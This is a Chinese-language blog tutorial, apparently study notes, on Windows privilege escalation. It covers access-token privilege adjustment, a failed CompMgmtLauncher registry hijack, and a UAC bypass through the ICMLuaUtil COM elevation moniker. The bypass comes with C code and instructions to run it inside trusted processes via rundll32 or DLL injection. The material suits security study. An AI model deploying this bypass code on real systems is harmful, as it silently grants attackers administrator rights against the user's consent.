提权技术

第六章 提权技术

进程访问令牌权限提升

访问令牌

访问令牌 是描述进程或线程的安全上下文的对象。令牌中的信息包括与进程或线程关联的用户帐户的标识和特权。当用户登录时,系统会通过将密码与存储在安全数据库中的信息进行比较来验证用户的密码。如果密码经过身份验证,系统会生成访问令牌,并且代表该用户执行的每个进程都拥有该令牌的一个副本。该令牌标识用户、用户所属组和用户的特权。 系统使用该令牌控制对可保护对象的访问,并控制用户在本地计算机上执行各种系统相关操作的能力。有两种类型的访问令牌,主要令牌和模拟。

当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌标识用户。 访问令牌包含以下信息:

实现原理

要想提升访问令牌权限,首先就要获取进程的访问令牌,然后将访问令牌的权限修改为指定权限。但是系统内部并不直接识别权限名称
而是识别LUID值,所以需要根据权限名称获取对应的LUID值,之后传递给系统,实现进程访问令牌权限的修改。

具体实现步骤如下所示:

首先,程序需要调用OpenProcessToken函数打开指定的进程令牌,并获取TOKEN_ADJUST_PRIVILEGES权限的令牌句柄。之所以要指定进程令牌权限为TOKEN_ADJUST_PRIVILEGES,是因为AdjustTokenPrivileges函数要求有此权限,方可修改进程令牌的访问权限。

1
2
3
//打开进程令牌并获取具有TOKEN_ADJUST_PRIVILEGES权限的进程令牌句柄
OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES,&hToken)l;
//其中,第一个参数表示要打开的进程令牌的进程句柄;第二个参数表示程序对进程令牌具有的权限,TOKEN_ADJUST_PRIVILEGES表示具有修改进程令牌的权限;第三个参数表示返回的进程令牌句柄。

再接着调用LookupPrivilegeValue函数,获取本地系统指定特权名称的LUID值,这个LUID值相当于该特权的身份标识号。

1
2
3
//获取本地系统的pszPrivilegesName特权的LUID值
LookupPrivilegeValue(NULL,pszPrivilegesName,&luidValue);
//其中,第一个参数表示系统,NULL表示本地系统;第二个参数表示特权名称;第三个参数表示获取到的LUID返回值。

接着,程序就开始对进程令牌特权结构体TOKEN_PRIVILEGES进行赋值,设置新特权的数量、特权对应的LUID值以及特权的属性状态。

1
2
3
4
5
//设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
//其中,PrivilegeCount表示设置新特权的数量;Privileges[0].Luid表示第一个特权对应的LUID值;Privileges[0].Attributes表示第一个特权的属性,SE_PRIVILEGE_ENABLED表示启动该特权。

最后,程序调用AdjustTokenPrivileges函数对进程令牌的特权进行修改,将上面设置好的新特权设置到进程令牌中,这样就完成了进程访问令牌的修改工作。

1
2
3
//修改进程令牌访问权限
AdjustTokenPrivileges(hToken,FALSE,&tokenPrivileges,0,NULL,NULL);
//其中,第一个参数表示进程令牌;第二个参数表示是否禁用所有令牌的权限,FALSE表示不禁用;第三个参数是新设置的特权,指向设置好的令牌特权结构体;第四个参数表示返回上一个特权数据缓冲区的大小,若不获取,则可以设为零;第五个参数表示返回上一个特权数据缓冲区,若不接收返回数据,可以设为NULL;第六个参数表示返回上一个特权数据缓冲区应该有的大小。

代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
BOOL EnbalePrivileges(HANDLE hProcess, char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
ShowError("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
ShowError("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
ShowError("AdjustTokenPrivileges");
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}

Bypass UAC

自从VISTA系统开始引人了UAC(用户账户控制),涉及权限操作时都会有弹窗提示,只有用户点击确认后,方可继续操作。所以,VISTA之后的提权操作主要是针对UAC不弹窗静默提权,即BypassUAC。

触发UAC时,系统会创建一个consent.exe进程,该进程通过白名单和用户选择来判断是否创建管理员权限进程。请求进程将要请求的进程cmdline和进程路径通过LPC接口传递给appinfo和RAiLuanchAdminProcess函数。该函数首先验证路径是否在白名单中,并将结果传递给consent.exe进程,该进程验证请求进程的签名以及发起者的权限是否符合要求后,决定是否弹出UAC窗口让用户确认。这个UAC窗口会创建新的安全桌面,屏蔽之前的界面。同时这个UAC窗口进程时系统权限进程,其他普通进程无法和其进行通信交互。用户确认之后,会调用CreateProcessAsUser函数以管理员身份启动请求的进程。

Bypass UAC提权技术主要利用白名单机制以及COM组件接口技术来实现。

基于白名单程序的Bypass UAC

有些系统程序是直接获取管理员权限,而不触发UAC弹框的,这类程序称为白名单程序。可以通过DLL劫持、注入或是修改注册表执行命令等方式,利用这些白名单程序启动目标程序,实现BypassUAC提权操作。

选取CompMgmtLauncher.exe进行详细分析。

分析发现,CompMgmtLauncher.exe进程会先查询注册表HKCU\Software\Classes\mscfile\shell\open\command中的数据,发现该路路径不存在后,继续查询注册表HKCR\mscfile\shell\open\command(Default)中的数据并读取,该注册表路径中存储着mmc.exe进程的路径信息。然后执行mmc.exe。

image-20221107150614658

所以我们可以在HKCU\Software\Classes\mscfile\shell\open\command中写入数据。手动添加该注册表路径,并设置默认数据为C:\Windows\System32\cmd.exe,并运行CompMgmtLauncher.exe。

image-20221107150827532

结果cmd并未以管理员权限运行。推测是windows更新,对相关功能进行修改。

基于COM组件接口的Bypass UAC

COM提升名字对象(COM Elevation Moniker)技术允许运行在用户账户控制下的应用程序用提升权限的方法来激活COM类,以提升COM接口权限。

同时,ICMLuaUtil接口提供了ShellExec方法来执行命令,创建指定进程。因此,我们可以利用COM提升名字对象来对ICMLuaUtil接口提权,之后通过接口调用ShellExec方法来创建指定进程,实现Bypass UAC。

实现过程

使用权限提升COM类的程序必须通过调用CoCreatelnstanceAsAdmin函数来创建COM类,下面给出的是函数的改进代码,它增加了初始化COM环境的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID *ppVoid)
{
BIND_OPTS3 bo;
WCHAR wszCLSID[MAX_PATH] = { 0 };
WCHAR wszMonikerName[MAX_PATH] = { 0 };
HRESULT hr = 0;
// 增加初始化COM环境
::CoInitialize(NULL);
// 构造字符串
::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));
hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);
if (FAILED(hr))
{
return hr;
}
// 设置BIND_OPTS3
::RtlZeroMemory(&bo, sizeof(bo));
bo.cbStruct = sizeof(bo);
bo.hwnd = hWnd;
bo.dwClassContext = CLSCTX_LOCAL_SERVER;
// 创建名称对象并获取COM对象
hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);
return hr;
}

通过上述方法创建并激活提升权限的COM类创建后,直接调用ICMLuaUtil接口的ShellExec方法来创建指定进程,完成BypassUAC操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable)
{
HRESULT hr = 0;
CLSID clsidICMLuaUtil = { 0 };
IID iidICMLuaUtil = { 0 };
ICMLuaUtil *CMLuaUtil = NULL;
BOOL bRet = FALSE;
do {
::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);
::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
// 提权
hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));
if (FAILED(hr))
{
break;
}
// 启动程序
hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);
if (FAILED(hr))
{
break;
}
bRet = TRUE;
}while(FALSE);
// 释放
if (CMLuaUtil)
{
CMLuaUtil->lpVtbl->Release(CMLuaUtil);
}
return bRet;
}

如果执行COM提升名称代码的程序身份是不可信的,还是会触发UAC弹窗;若是可信程序,则不会触发UAC弹窗。因此,必须使这段代码在WIndows可信程序中运行。可信程序有计算器、记事本、资源管理器、rundll32.exe等。可以通过DLL注入或是劫持技术,将这段代码注入到这些可信程序的进程空间当中。最简单的莫过于直接通过rundll32.exe来加载DLL,执行COM提升名称的代码。

1
2
// 导出函数给rundll32.exe调用执行
void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow)

测试

image-20221107164830632

总结

实现Bypass UAC的方法很多,并不局限于白名单程序和COM接口技术。对于不同的Bypass UAC方法,其具体的实现过程大都不一样。随着操作系统的升级更新,现在对于Bypass UAC成功的方法,可能在以后不再适用,但也会有新的BypassUAC方法出现,攻与防是相互博奔的过程。


提权技术
http://wangchenchina.github.io/2022/11/08/提权技术/
作者
Demo
发布于
2022年11月8日
许可协议